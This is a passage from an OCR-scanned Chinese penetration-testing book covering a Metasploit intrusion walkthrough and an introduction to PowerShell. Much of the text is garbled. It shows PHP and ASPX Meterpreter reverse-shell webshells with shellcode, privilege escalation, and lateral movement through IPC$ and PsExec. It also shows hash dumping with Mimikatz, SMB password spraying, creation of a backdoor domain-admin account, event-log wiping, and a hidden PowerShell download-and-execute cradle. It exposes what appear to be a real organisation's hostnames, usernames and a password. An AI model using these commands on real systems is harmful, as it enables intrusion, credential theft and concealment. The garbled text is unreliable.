= unpack("Nlen", $len); slen = $a['len']; sb = ''; while (strlen($b) < slen) { switch ($s_type)

{ case 'stream': $b .= fread(ss, $len-strlen(sb)); break; case 'socket': $b .= socket_read($s,
$len-strlen(sb)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock type'] = $s type; eval

($b); die();

E5-92 EESMKIshuteer.phpiE

R J5 ¥ shuteer.php_ 4% 2| H bR 55-8% , 1% B K AR AL, B DLt B 8 3K ali

T BJ/var/www/html H 3%, 7 FFWebShell 3k, 1B 5-93F7~ .
« @ var www ﬁhnrifr

index.php nishang shuteer.php  test.php

P

ents

E5-93 E#lZIKalify/var/www/htmIBET
% J5 siMsfeonsole, R L Far& % BBV, nE5-94F17R.

msf > use exploit/multi/handler
msf exploit( ) > set payload php/meterpreter/reverse tcp
payload => php/meterpreter/reverse tcp

S

st exploit( ) > set lhost 192.168.31.247

host => 192.168.31.247
st exploit( ) > run

I

E5-94 ®EEWHS
SAJ5 ¥T FFhttp://127.0.0.1/shuteer.php, H1EI5-95F7R.
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] Q httpi/llZ?....huteenphp X |
€) 0 127.00.Ushuteerphp

"‘MostVisnedv Pl Offensive Security "% Kali Linux \Kall Docs \Kau Tools |

/*no socket

[E5-95 FTFshuteer.php
B EIMSF i, 7] LA B AR5 b 2 R,  WE5-96 s o

et lhost 192.168.31.247

:43428) at 2017-06-64 09:58:18 -0400

E5-96 R3EMIN
B J5 ¥ F sysinfofll getuid & Meterpreterin 275 i% H bx L.

2. Aspx Meterpreter [5]7]

AT EA YA & Metasploit N 44 Ashell_reverse tepfiPayload, il FliX /M A] 61
## A Meterpreter I BE [ % iR A< ShellCode, 40 LbE:H WLATAsp. Aspx. msiy vbs.
wars§, T ELAspx /9.

TE W o4 F Aspx Meterpreter/& [ ] # 27 B fllMetasploit PHP Shell i KX #EAR[E .
el TR R A iR, JEREMRSE, TR

show payloads

use windows/shell_reverse_tcp
info

set lhost 192.168.31.247

set lport 4444

save

¥ %0 A\ generate -hiT 2 BB T B4, WES-97F7R.
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msf payload( ) > generate -h
Usage: generate [options]

Generates a payload.

OPTIONS:

t Force encoding.
b <opt> The list of characters to avoid: '\x00\xff'
<opt> The name of the encoder module to use.
sopt> The output file name (otherwise stdout)
) Help banner
<opt> the number of encoding iterations.
< Keep the template executable functional
«<opt- A comma separated list of options in VAR=VAL format.
<opt- The Platform for output.
NOP sled length. ®
vt The output format: bash,c,csharp,dw,dword,hex,java,js be,js le,num,perl,pl,
POt t1,p~1,py,python, raw, rb, ruby, sh,vbapplication,vbscr ,asp,aspx, aspx-exe,axis2,dl
l,e.t elf s0,exe,exe-only,exe-service,exe-small,hta-psh,jar,jsp,loop-vbs,macho,msi,msi-no|
uac »-x-app,psh,psh-cmd,psh-net,psh-reflection,vba,vba-exe,vba-psh,vbs,war
x ~opt> The executable template to use

E5-97 TEHEHHS
A & A< ShellCode ) i 2 40 K Frs

generate -t asp / /4% Asp hiZ ) ShellCode
generate -t aspx // 1% Aspx [ ff] ShellCode

X B A B — AN Aspx iR ) WebShell, P9 2821 B 5-98 T 7 o

ic Int32 MEM COMMIT=0x1000;
static IntPtr PAGE EXECUTE READWRITE=(IntPtr)@x40;

= Runt ime, InteropServices.DllImport(“kernel32")]
1c extern IntPtr VirtualAlloc(IntPtr UpStartAddr,UIntPtr size,Int32 flAllocationTyp

CreateThread (IntPtr 1pThreadAttributes,UIntPtr dwStackSize, IntPtr
2 dwCreationFlags,ref IntPtr lpThreadld);

11 WOFnMrk = new hyte(324]
x82.0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b, 0x50, 0x30, 6x8b,0x52,0x0c, 0x8b, 0x52

0x28.0x0f

E5-98 4 REAspxkEEIWebShell

BAE A IRTE Naspx.aspx, B LAES]HARIRS 2%, 1X B R R NLAT L B #
2 #1 % Windows 2012 T fC:/inetpub/wwwroot H 3%, #1EI5-99FT7R .
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» RESEE » IS (C) » inetpub » wwwroot

aspnet_client
l.aspx 201
bom 20
B iis-85.png 2017/6

2 | iisstarthtm

E5-99 EHEBEHRERT
B2 5 shMsfconsole, ffiHLL F A& BT .

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp
set Lhost 192.168.31.247

set lport 4444

run

SR JEFT P http://192.168.31.250/aspx.aspx, A1EI5-100f775 .

http://127.0.0.1/testphp % | http://192.1..50/aspx.aspx % | #

L0l o2 168 31.250/spx s Jl

[ Most Visited v Jfj Offensive Security "\ Kali Linux "\ Kali Docs '\ Kali Tools
E5-100 #THMR
[BIZIMSF N, AT LAE 2R 5o D2 AT, anEl5-1015T7R.

msf exploit{ ) > set lhost 192.168.31.247
lhost => 192.168.31.247
mst exploit( ) > run

] Started reverse TCP handler on 192.168.31.247:4444
| Starting the payload handler...

Sending stage (33986 bytes) to 192.168.31.247
[*] Meterpreter session 1 opened (192.168.31.247:4444 -> 192 168.31.247:43428) at 2017-06-04 09:58:18 -0400

E5-101 KRR
B 7 1] LA H sysinfo Ml getuid % Meterpreter iy 21215 H 5 L.
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5.9 NI EHEZIEMN X L5
59.1 NBSHENE
RN BHRS BN, FERITEDLEE T — 6 RS EPAVMSER1,

Z RS 2R I IP A 10.51.0.21. FH 5 R I P ) 19 2 &5 4 K ME an P81 5-102 7w, oA
PAVMSEF2 152 #3240 PR P 9 (88T s, P9 I ) H At I 55 3R 3 AN Be EL & 4%

PC PAVMSEF21
10.51.0.21
ol PAVMSEPI13]
internet B K 7 - 10.51.0.131

T PAVMSXD30

B N - 10.51.0.30
PAVMSADG63
10.51.0.63

4%
E5-102 AMHRINRE

WATH2IE B br 28— A8 i WebShell AR — 5 45 i IRAFIE AR , AT 5
ZEEIAM.

59.2 IRHIR

5 F i Payload B KL 2% 4 APAVMSEF21. IPN10.51.0.21 R % %% b, RJE7E
“thE3T]” B# WebShell Fiz47, WES5-103778,
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nsf exploit( ) > run

Started HTTPS reverse handler on https://0.0.0.0:443/
Starting the payload handler...

200.215.209.72:65164 (UUID: 0108453967¢525b2/x86=1/windows=1/2015-12-11T17|
Meterpreter ‘Aession 1 opened (4S. +30:443 -> 2°° '165164) at

eterpreter > ps

[E5-103 RN

$K#3FMeterpreter Shell /5 B E —HEHEMEIRN. B, EFBEIETRE
ATRE R RE T — 1 RS Guest B UserAU R « 15K HIAPR 2% B KA F A1 32 BB 22 I PR 41,
FIt LA 50K U 1] AL FR M Guset$E T+ 2| User, i F|Administrator, /5 ZISYSTEMZE ) .

A5 23R F A< b s H IR TR SR AR, B A At B R FI #2F (Local Exploit)
AR . AR Ul, BITEIT A B s B IR R A Exploit, FEF M
User#H 8 H Ath 241 H 7 21327+ F| AdministratorZl (Eroot).

T, FRATIRE IR & — A @A PR, anES-104F7 75 .

[E5-104 EEWNR

B R A IR AL, RIUIR G 24N T H 1518 4, BEE 2R {FFMS15051
FIMS15078, #LURMEZE, WE5-1050T7R .
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d exploit{ u 3 ¥ ows/local/msl5 051 client copy image
expicat( ) > aeas)

Informarion
er xB86/wini2 MEDABILAMALI384 @ PAVMSEFZ21 5. 30:443 -> 200.21
) > set session 1
)} > run
.30:4444
Exploit d due to failure: not vulnerable: Exp not available on this
maf exploit( ugse exploit/ us/lecai/m:lS-GTS_ntmf-
session 1
sion =3
exploit {
Started reverse handler on 45. .30:4494

Checking target...
Exploit aborted due to failure: not-vulnerable: Exploit not available on this

E5-105 #|F A H R

2305858 WindowsiK F #5] (UAC), FRATIERA —AEd@ i P AR .
F FiBypass UACHEBRIRAL, X LA 5 2%, 4R il 221 [al— /N ¥ ) Meterpreter Shell,
w1 5-106 78 o

sf exploit ( )} > use exploit/windows/local/bypassuac
s T exploit({ ) > set aession 1

session => 1
I exploit( ) > run

Started reverse handler on 45 30:4444
Exploit aborted due to failure: not-vulnerable: Windows 2012 (Build 9200).
exploit ( ) > sessions

El5-106 FIFABypass UACIEH

1 FiBypass UACHRELFATIRANNT, ARG M4ATH P LaiEE s md, mHaHP kK
FIEHIREFUACK B NEA, B “NAREFREESERATENR MR, M
Bypass UACHHLIZTH 2 R NTE H hrdl bV 2 AN ST R B AR . BATH
FEgeidUAC, AIRERIXFNEEA .

SRR A AR, BT AL 55 28 AR, o HoAth iR 45
2,
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593 EEIKE

BRI B4R BT, (HIER AT AT E N R . B 7T ARKE— &
HHBURfE, BB VIR — P —WEER, R AMIZIET A AT Bk E)— &
e

HAREAE LU MK, WERBENMHEXEE, BEMAENH . B
AHITHENL, PR RRARER, THEAIH 7 HHRaS LHEEM, mEs-107~
KI5-11207%

net user /domain: AHIRAH .
net view /domain: BEH A JL M.

*  netview /domain:XXX: EFIKN I EHL.

®  net group /domain: P& HE 14 .

* et group “domain computers” /domain: E& KA A FENLSE .

¢ net group “domain admins” /domain: B &S 7.
group

i3

®  net group “domain controllers” /domain: & I8
®  net group “enterprise admins” /domain: & NV EHEH ,
*  nettime/domain: & AR S5 5% .

C:\Javaé\jboss-4.2.3.GA\server\default\tmp\deploy\tmp448., 7.6 3349206042913 e
ip ig

dows IP Configuration

Ethernet adapter Ethernet:

on-specific DNS Suffix
re

unnel adapter isatap.{B6ESSIX

E|5-107 #EFIP Config
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Cr\Javaé\jbos .2 \sezver\default\tmpl\deplayl
net view
Server Name Remark

\\ACO12~005798N
A\NOB11-36558N
A\wNOB
\\NOB
ANANOB2
\\NOB1:2
A\NOB14-4757
\\NOB1S5-4768
\\PAFDEDR72 DELL DeDupe Backup Appliance
N\ PAFMSBEK70
N\ PAFHMSBE71
amba 3.0. 3.39.e15_8
Versic 3.0.33~3.40.¢15 10

oller for domain me

*SDUPLICATE~5326
$§DUPLICATE~S
‘5UUQOGQ—IOHVJPOPR160

*Aco~Administrativo Gravacao
*Aco-Administrativo Leitura
*Aco-Almoxarifado

o~Ambulatorio

/domain
in
be processed at a domain itroller for domair

Group name ain Admins
Comment Designated administrators of the domain

dellbackup
mal3i3
Office365
sso
vcenter

B

cheManaqer
sysaid
xendesktop
The command completed successfully.

w
< O

E5-110 EFHEER
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i
»
i

C:\>net group "Domain Controllers"™ /domain
net group "Domain Controllers" /domain
he request will be processed at a domain controller for domain me

(Group name Domain Controllers
Comment All domain controllers in the domain

pMembers

NBVMSAD6E3S NBVMSADGE4S
PAVMSAD6E4S SEVMSADG64S

Enterprise Admins
Designated administrators o

Administrator backupexec
gruppen Office36S
symantec

E5-112 EFWERE

AR EE R, BATAT LA AR 2 EE AL, Bilin A 2 B2 %2 1,
ZHLER A RO, ARIENLES 4 2R tH EEADE T HL, DR EARHLR RN
LRI, SRR RN I L O B 4 AR B AR A4 TR B

5.9.4 FRE—E RS BHPR

WA EAR RS 2%, BRI EFR SO 207k 48 7] DL E B B AR 45 4%
AAT DLE SR ER S A . A0 ULE S X ARG W R AR A
FHERFBR; SRR AR ER RIS 4y, TR E Sy Py X AN AT DR ) 45
RG2S HIIRSS 2%, SR Ja DAL Bk A 2 a1 R 25 2%

PUAE R A IR o) AN T] DA B B B 3 IR 25 2%, BT DICSREN DL 7V 4k 42805

o f#ifiMeterpreter H fi #iG FIB R AN M B, #E4T55 042 H .

ASCPEAE i b P e A AT 27 2 A



248 P WebZA s lr: HiEmiXE®isd

e fiiF{PowerShellXt P P AT 34 (EL3K H ArpL & Windows 704 _EHIARS2%) .

°  Zi%Socksda, #RJESockse H BT A M.

° T ZHETBURFEAT N HIPCSIZIE -

o HAhTTVE.

B EER T, AR R E TS, f Anet viewfn 4, TEFIZEHINLAS
% BRI FE— N FRAWEE B AERU AR S5 28 R, AHBEANE, RIRBHE, W@
E5-113 7R .

E5-113 IPC$BiE
THBEEEEFER] TRMMIPCSAR.

IPCS A\ 1%, Bl it # F Windows R4 ERINJE BN IIPCS 3L EHRAG T HHLIZ HIHL
FINAR, TE P9 AR I H T

BEIMIER —BIPCSENL: 127.0.0.25, BALL T4,

D:>net use \127.0.0.25\ipc$ #ER 127.0.0.25 ) IPC$ILE

D:>copy srv.exe \127.0.0.25\ipc$ #821% srv.exe B|HIrEH

D:>net time \127.0.0.25 H1T (]

D:>at \127.0.0.25 10:50 srv.exe #H] at i 47E 10 51 50 4753 srv.exe(GEREIX Bi%

LRI TE) L L LI (a3

A Batil 2 LT RALAE RS E K 1] fide 2 B I dr & (BlInis T2 5).

X B R I Payload | f£ FIPAVMSEP131 i 558, SR J5 Fll Fatéir 4 J& 5iPayload,
[ # [E]Meterpreter Shell, B &#EuE5-114~E5-116F7R,

E5-114 B¥ADEHEBIFRSE

AL BT R i )
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S inet time \\PAVMSEP131
et time \\pm.x-rs._p'“

urrent time at \\P

C:\>at \\PAVMSEP131
av \\PAVMSEP131
The AT command has beer

Added a new job with job

E5-116 fERat®<LBEIARD

## 1R [Alhandler i W, 7T DUE B BRI T, FRAT3KTE T PAVMSEP13 1R 55 2311
Meterpreter Shell, U1&5-11775R .
msf exploict(

Started
Starting t yvlioad ha
48859 (U

Metexpr

meterprecer > ps
E5-117 RERLIH
N H>RE FHPAVMSEP131 R %5 #3115 BATBIE AR, tES5-118F1 7.

Meterpreter
meterpreter > getuid
Sexver username: NT AUTHORITY\SYSTEM

mecterprecexr > gectpid
Current pid: 17640

E5-118 BEEFERHZER

ASPEAE i b FE a5 g 2 20 A6 D
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A LAE B3 A SYSTEMAL PR, 34 B BE AT LA i Mimikatz%6 TR, 7] BA% Arun
post/windows/gather/hashdumpk#{Hash

A T7E FIMimikatzP(Hash 2 BT EyE R — A WRARSS 48 226 10 R 640 1R 1E R 5,
FA Mimikatz i FET % B — 64 TR PR S, A REEBMAMRANELIA, £
3200 RG R BEA IX AN BRI o

iX B f# FiMimikatzfl{Hash, FA&EAE a0 ES5-119F1E5-120F7 7 .

> upload /h

J 7601])
yright (c) 2009 Microsoft Corporation.

&5-120 #MEHash
REEAEIBAE P ORER, Es-1218T7R.

ASCHEAR T e S it 2 2] A
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o

C:\Windows\system32>net user joao.guerino /domain
net u joao.guerino /domain

ons allowed

The command completed successfully.

E5-121 EHER AR

5.9.5 PowerShell S35 B 1F 24 iR 5% 55

Windows PowerShell /g —Fi i 247 452 2 7 FUHA RS, i 6y &-47 F 7 AR A 4
& LUF|H NET Framework {158 K fE . PowerShellifs 72 VF45 JLAN 4 4 & 2R
B BT, SCESCHRMER, MR B A AR .

X B e ffiPower ViewHI A SR IREUY U B RELRF KM 2%, FATH Power
View il 4[] Invoke-User Hunterfs ikt I 4% 3 £ #144 JPAVMSEP131, IP410.51.0.131F)
AR #%9, #RJ5%n NInvoke-UserHunter, #1/&5-122f75~ .

HAR a2 0N s o

powershell.exe -exec bypass -Command
"&{Import-Module .\powerview.psl;Invoke-UserHunter}""

AU R AT
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11l.exe -exec bypass -Command "&
g {Import-Module .\powe

s\joaoc.guerino>pow
ell.exe -exec bypa onmand

St com.bY

“1l.com.br
10.54.0.4})
SessionFrom

LocalAdmin

UsexDomain

SessionFrom
Localhdmin

E5-122 REHATNHERRELTRIRSEH

AT DA B8 B R S AT 7E 4 8 ML 2% W14 APAVMSXD30, IP510.51.0.30,
I T ENZIRS 28, AEE LTRSS FZERNRE, XEEERE T 5

B HIBUR .

5.9.6 FREUHEIR

LR 8 ThHh 3REL 3 1.4 IPAVMSXD30, TP410.51.0.30 IR &3R8, B F
KT LB EEET .
B Jeiii A\ getsystemdn 22 FHALR,  4n&S5-123F1&5-124 7R .

1 (Named Pipe Impersonatjion (In Memory/Admin)) .

E5-123 #iAgetsystem& &3 TIRIL

ASC PR i b e A8 3 27 2 A



%#5% Metasploiti# K <« 253

RELAGL -AB6IUSWE: WEDYBIL/SOUTCMETY

wererbrecrer > Qercnrg -

E5-124 EFZHRIAR

A] LA B2 & BLE R UID 2 sonicwall, M BT THI$R B A4k B ¥ R K 515 B b 2 40
sonicwall /& 2 51

SR JE B N\ ps i 23K 2 0 AT 7E (1 2, #Meterpreter Shelli#HF2iE# B LL 3t FE 1,
I JE RS T A AR, W E5-1250T 78 .

E5-125 TRz

X HERTERERE, Al L#E FMetasploit I ST EX A M ThRE, FIREREIREIRE
HWAEERR .

s B E F AP, iX BAF Fnet timedy &, — R UL [ Ak 25 25 #F 2 IR 25 3%
W ES5-126 7~ o

m x X hell

dows [Version 6.3.9600)

(c) 2013 Microsort Corporation. All rights reserved.

8:43:42

E5-126 ZEEHFIP
AT UL B8R 525 1 £ ML 42 HPAVMSADG4, TPHuALE910.51.0.63.

PAEFRATT AT LA FH 2 8 FITPCS AN AR 3R [ 3 —~Meterpreter Shell, E&#/EunE
5-127F1&5-128 7~ o

C:\Windows\system32>net use \\PAVMSADE4.

net use \\PAVMSADG4. . l.com.br\c$§
The command completed successfully.

E5-127 IPC$BiE

ASPEAE i b FE a5 g 2 20 A6 D
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The request is not supported.

E5-128 fERMata$ERIMARD

RoRattn 2 O WFH ., E A VLT &5 & Windows 2012, ITE{E Hschtasks
A REMFRUES . PN CEESE I AR T 7, A S SIERn—
ANEBLRK S, ES-1298 7R

C:\Users\mal246>net user sonicwalll PasswOrk!€3 /ad /domain

r domain 1

/domain

dom nm

The command completed successfully.

E5'129 /:h\ﬂﬂiT'Ang\mKF'
FIA IR A A HA K P R AN, wES-130F7R.

s" /domain

ServiceManager
aso

veenter xendesktop
The command completed successfully.

E5-130 ZEEHEERE
A UEREFHCERIHIN T EERAKS

5.9.7 EFiEIRH

PAESZERRRBATRFT . BPRMEEFREE, RFURIZHash.

ASC PR i b e S 327 2
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L E A 7 N AR X L.

e FIMHIPC £ AT&SchtasksiBFEHAT A4

o P D R B Socks B I AR S

e BEXTTT NI — & THEHLE I PsTools T. B A3 H fi PsExeck /% ## Shell .

e {fiHMetasploit T fJPsExec. psexec_psh. Impacket psexec. pth-winexe Empire
Invoke-Psexec%PsExecZS T H 7 #iShell.

* i fiMetasploit F fflsmb_logink J 3 Meterpreter.

e fEFWMI (Windows Management Instrumentation) JEHEATH .

o {fi[{PsRemoting posersheiZZFEH AT fr &

o HAph—LTrvk.

X BRI ROR & i 19 75 3K, Bl Metasploit R FIPsExec3i X # Meterpreter,
AR ZEE AT IXMR, WE5-1315775.

®  MSFH HJPsExect&iil .

e cuestomf&EHR, EUWAEFRMAVeilz 1 T ERA A% fIPayload.

set ambpass
t smbdcomain MEDABIL

kx;;r'r faiied: The £

) > 8et

exploic( ) > run

jtarted reverse handler
1ecting to the serve
ithenticarving to 10. 64:»~31”~DAEIL as user
cting PowerShell

E5-131 {EFAPsExeci&ikfz#Meterpreter
LRI CERBHEII T, REATBHE, EEHIENRSE EMsessionsts

AR R i
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HIE, wWEs5-132F/E5-1330 7.

o W N

[E5-133 #EFHsessions

BE&: AT LLE I Bedz il ) sessiont 57 . sessionl I WebShell x5, session2
FIHipcS N2, B FEsessiond i) H K RIRBURE LIRS A%, sessionS A BNMEE
TRE—HEI, HHHEH.

BT HIEKAIR, BERKIMHash, & HHEHRLFXLF.

1§ F Metasploit H i i dumphash&{# smart_hashdumpt& ik 5 H A /7 fHash.
F| FHPowerShell f¥] #H M5 8k 5 tH Hash .

{FFHWCE. Mimikatz% T &

HAh 7,

AR b 3 B
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IX B4# F T Metasploit H 77 i) dumphash#8 . 75 2k &, ZARfE A HLAE B 7 i Hash,
WA SYSTEMIIRU R A 1T, BRI ES5-134F7w.

msf exploit(
msf post (

GETSYSTEM false
SESSION

msf post(
session => §

msf post ( )

Running module against PAVMSADE64
Hashes will be saved to the database if
Hashes will be saved in loot
. /root/.msf4/loot/20151211161
This host is a Domain C
Dumping password hashes...

[&5-134 #MEUgHash
5.9.8 SMB &8 A M

AT EENEN, 8Tk RBEYUEEN MY KEGIRRBEF, BiAgIEm T
No

o FIF MRETIREUISIEK RS, AP BT 4 .

e fHASMB T Jsmb_loginfiik.

o ¥y %% R B Socks BRI A M .

AT EMetasploit?s N H, 485 Fsmb_loginfRE 5l # psexec_scannertbi B it
TR, BRI & S-135~E5-137fR .
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.er > background
grounding
f exploit( ) > route add
Route added
exploit{ arch sm

Matching Modules

auxiliary/fuzzers/smb/smb ntlml
auxiliary/scanner/smb/smb login

s exploit(

rhosts => 10.

isf auxiliar

smbuser => joao.guerino
isf auxiliary(

ssmbpass => medabil2013¢
isf auxiliary(

smbdomain => MEDABIL

msf auxiliary(®

[&]5-135 i&Esmb_logint&ik

uccess:
Success:
AL EaD .

Success:

Credentials

Y

o

(smb)
(amb)
(=mb)

445/¢c

s

(smb)

(amb)
445/tcp (smb)
445/ctcp (smb)
445/tcp | ;
445/tecp (smb)
iq{/—»w o4 >

445/tcp (smb}

FUTOr R

'MET

smedahs
e GguUSL Al assUaD)

private
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AUEH, BABRET KEA MRS SRS, FrA LAgHNM T . fTL
{8 FMeterpreter [t 3ii; 1% % , 11 7] DA{# Fii Metasploit T[] Socksdatiibh 5 2 85 = 77 # {4«

IX HL 1% B M {5 F Meterpreter 3 1 %88 & BI AT, 40 &5-138 7R

E5-138 imO%%%

5.9.9 FEBZE

HHHEFEGUT PR, wEs-139~E5-141Fi7m .
o MHBRZ ATANINFEE RS

o MERFrEESESIERFERTH T,

o MBRRARRF. REGMZEHE.

*  XHIATA i MeterpreteriE .

P8 C:\Windows\system32> net user sonicwalll /del
he command completed successfully.

PS C:\Windows\system32> logoff_

E5-139 MiFRZBTRMEIAFIKS

meterpreter > clearev
[*] Wiping O records from Application...

[*] Wiping 2 records from System...
[*] Wiping 1 records from Security...

E5-140 MisHEZE
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x86/

x86/

x86/wi
meterp 5 4/win DABIL\sonicwall @
meterpreter x64/winé4 NT AUTHORITY\SYSTEM

exploic( ) > sessions -K
Killing all sessions...
0.21 - Meterpreter session 1 closed.
.131 - Meterpreter session 2 closed.:
142 - Meterpreter session 3 closed.
10.51.0.30 ~ Meterpreter session 4 closed.
0.51.0.64 - Meterpreter session 5 closed.

E5-141 FEHARBEMSFERE

Connection

«.30:443
«30:443
.30:443
~+30:443
.30:8443




6.1

6.1.1

%2 6 Z PowerShell 535w

PowerShell A

fEBEMRH , PowerShell 2 A 58 ZB& 1 — N1, T EAEAR Bt EHAA SR,
B EH A AN LUE S B RIEMERT R0 B E Windows RETHIRE /1 . — B Xy A LAFE
—&iHENL EBTRY, BL TEPowerShell A (psl) FHASINIT, HE
TAE PR PIAT, ETUEBREAFDIBIT. X85 R {15 PowerShellFE IR 75 A1
TRFEXT R VT BRI, OB B G RS T B, FFIPowerShell {7 245 .5
B A AR S0 i AN oo B

W F B/ PowerShellBi i T EA LLF X JLF.

®

PowerSploit: X /& £k % PowerShell B T B #1472 15 A ffiPowerShell J5
RIRF AL, HHTEERN. SR, FIES . FALERE.

Nishang: & FPowerShellf1i2ZE M EH TR, M THEZLE. A&
Payload, & FEMPAT. EBAICFK. DNS. LR FHA.

Empire: & FPowerShell \ZFRFEHIAR L, 7 LLSEIERHE B b 5 B AR ER
FAEEE, # AT RAEeRTEIRAR A0 LRSS, EERN. EHET.
Fr A

PowerCat: PowerShellf ff/NetCat, H &ML TAPH) “ImtEJT]” £%&,
EREEI TCPRIUDPTE M4 i S 4. @i 5HMA T RS EMEER,

EETUEMAT UM T XERE.

PowerShell &7t

Windows PowerShellje —Fi iy 21T/ RIEF A AL, B W BEGANZ RN
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Windowsfiz A< (Windows 7/Windows 2008 R2F1 5 iR A, #dr44T H 7 FHIA G
5T LLFFH NET FrameworkfI38 KINfE. — B HE A AIE— & 1FENL LT
9, A1k 4 T #PowerShell A S/ (psl) FEIREFE AT, EETLINE BIWE+
AT, EFUEBEENFTIZIT, WA LIiEPowerShellF {E i 41T 275 ffemd.exe Y
7.

PowerShell 5 B NETH 5 1) %, RN SZRENETX %, Hojtk. SR, 7
DAL B 24 B T4 ShellZ. 1« PowerShell X 64s sl IEFEMR 5| Bt &, 8 & B8N —
MEERIT BB B EH T E. PowerShellF L FX LML A .

e Windows 7EA_EHHR1E RGBIN 23

e PowerShell[ AR UEITEEANFY, NREFAHAE.

o TAUIMB—NRGH T #PowerShellfHl A4 44T -

o HARZ T E#RE T PowerShell FF K .

o REZERMAHAGRI Z|PowerShell KTE S .

o cmd.exel H W HIEIZELT, {HZ&PowerShell N,

o  ALLAREEEDEZ.
&/ NWindows 24t F ffiPowerShell it A, Wi 6-1F77w .
IRIERSE PowerShellig® |  BEUAR
Window 7/\£\gggows' Sever = eiee | FER30 . 4.0
Mirdanas Junice: 30 BT 4.0
e T 40 e

E6-1 BMRERGNEIPowerShelliiz

7] LL# A\ Get-Host B, # $PS VersionTable. PSVERSION i 4 5 & PowerShell il 4, U1l
@ 6"2Fﬁﬁ_\‘ o



%6% PowerShellsi&#d <« 263

N0F 4506
n. Internal. Host. InternalHostUserInterfac

owerShell. ConsoleHost+ConsoleColoxProxy

m. Management. Automation. Runspaces. LocalRunspace

. PSVERSION

E6-2 #ZEHPowerShellfgz

6.1.2 PowerShell B9& AH# &

PS1 X#

—A>PowerShell il A< 3 52 gt & — AN BB AR, BN XHBEET — R
PowerShell#n 4, a4 B AMSLH—4T, XTI NPowerShell I A ) SCA ST
%, XL TFEEMLEPSINY B4,

2. HITRER

B BB B A AT, PowerShellF — M HAT MG, BRAEIL T, XAHATE
WE M RN SZ PR

FEPowerShell il A TLiEHATES , T LA R TH i emdlet iy 28 12 24 1T AT SR

L

®

=)

Get-ExecutionPolicy .
Restricted: BIAAGEZIT (BRAKE) -

RemoteSigned: A ZEMIHIATT LLZEAT, (HAM BT EPIEANGREZT
(A AEBEL RIS .

AllSigned: 1Y 44 HZ{E L K AT &2 44 I A BRI AT
Unrestricted: F2VFTA Wscriptiz 47
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eI W] PA#E A R H A emdlet iy 4 B PowerShell ) HAT K H o

Set-ExecutionPolicy <policy name>

3. BITHIA

BT —/MPowerShell I 4%, WAZUEE NSRBI BEAR A4, Bltn, IREZET—
% NapsI A, BT LLEENC:\Scripts\a.psl. B ARIFIZNZ, WIS PowerShell fiil A 3¢
PRI TR R G H R H, IBATE 3R 5 BN A4 RIFTIE 1T,
W\aps1FIRTTE AN £ T “\”, XFIFELinux FHAT ShellffIA 1) 7% —#E .
4. BE

EHENERAZE - MmN HIER R — LSRN, AMeLZmHEE
/e () EE.

Z—AMEFRE T EE R WA TR, RiZE LA BarsiTh e, L “p” F
FFFkm R, 2T R,

PS> get-process p* | stop-process

6.1.3 PowerShell 9% AHip<

1. ERAR

fEPowerShell ™, MLl “omddr4” M{E “cmdlet”, HapZITEHL—, #X
F “zhidl-4%i7” MK, WNew-ltem, ZhiFE#f5—MNAdd. New. Get. Remove.
Set%%, & MIH % — 3 A Windows CommandflLinux Shell, #IGet-Childltem#y4>
{4 FHdirgkIs3 7], 17 HPowerShellfiy & A X 73 K/ o

N PASC AR B U F PowerShell i 4 H) B A FHVE o

°  HEHEZ: New-ltem whitecellclub-ltemType Directory.

®  HrESUF: New-ltem light.txt-ltemType Fileo

°  fHER H3: Remove-ltem whitecellclub.

o BIRUANE: Get-Content test.txte

o  WETUANZE: Set-Content test.txt-Value"hell,word!" .
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°  JBINAN%: Add-Content light.txt-Value "i love you".
° JEBRNZ: Clear-Content test.txto

2. BEE®GS
A AT LLIE I Windows 28 i & 78 75 i APowerShell, #f A\PowerShellfr217, i A
helpfir & B Bz 8, & 6-3fr.

Nicrosoft Windows [hRAS 10.0.14393]
(c) 2016 Nicrosoft Corporation. {RE3ETEALH .

C:\Users\shuteer>powershell
¥indows PowerShell
ARAVERAE (C) 2016 Microsoft Corporation. {REBFTEWF.

PS C:\Users\shuteer> help
E _
¥indows PowerShell FEBjFRHE

e
S A% Vindows PowerShell B) cmdlet BECERIZEEED.

FARER
“¥indows PowerShell ESBH” 11487 Vindows PowerShell A9 cmdlet.
. WARBRIR, FEURT .
¥indows PowerShell i3 = RITGEERLS.

E6-3 ZZEPowerShell§9#EEN
4 2R %2 38 47 PowerShell I A FE Fr 0 20 I & B 5% AN PR K¥ Restricted 5 % 250
Unrestricted, FrATEIZIERS, 7 ZoRH — L7580 IR PAT A, o T i
=F
o BUdAMIBURIAT (nE6-4FTR)
I AExxx.ps1 2 Bk S 2%, FECMDIAEE T, 78 B br ik &5 28 At AT Z A,
MR,

PowerShell.exe -ExecutionPolicy Bypass -File xxx.psl

o AR SES BUR AT A

PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -Nonlnteractive
-NoProfile -File xxx.psl

o FHIEX F#mFEPS 1A 85T AR AT

PowerShell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonI
IEX(New-ObjectNet.WebClient).DownloadString(“xxx.ps1”);[Parameters]
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TEX Bk ey & RS EEAT R, TR

ExecutionPolicy Bypass: S8id #1724 5KME, XNMSHAEH EE, ERIAE
LR, PowerShell )% 4 5B E T PowerShell S 1t B 1T i & F1 3044 i
HREXNSH, TUSETEE—NZERFHN . £BENRF, HAx
§— IRIZ1TPowerShell i A< i &R 43 F iX AN S5

WindowStyle Hidden: F&i % 1.

NoLogo: Ja 3/ &R RALT & i PowerShell.

Nonlnteractive (-Nonl) : JEZZ E 3, PowerShellNAH FIRHEAE H 42
o

NoProfile (-NoP) : PowerShell#% | & A INEE 24 /i F 7 MO & S

Noexit: 4T /5 B HiShell. X7EfF A ICFKEMAREF EE,

PowerShell[fiATEERINIE L T IR EBEPAT, X5t a] UMEH LR =Fh oy kg
AN, B TPowerShellfi A, WE6-4F7=.

PS C:\Users\shuteer\Desktop> ’"hello hacker'’ >test.psi

PSﬁ:\llgers\ﬂmtaar\Desktop) -\test.psl < - P -
i&j}[};ﬁyﬁ C:\Users\shuteer\Desktop\test.psi, El;‘]&ﬂb%é}’édﬂféltﬁlﬁmﬂio Ei'ﬁﬁm:‘;“%ﬂ
g% -

FEME 71 FF: 1

+ .\test.psl <KL

+ Categoryinfo : NotSpecified: ¢(:> [], PSSecurityException
+ PullyQualifiedErrorid : RuntimeException

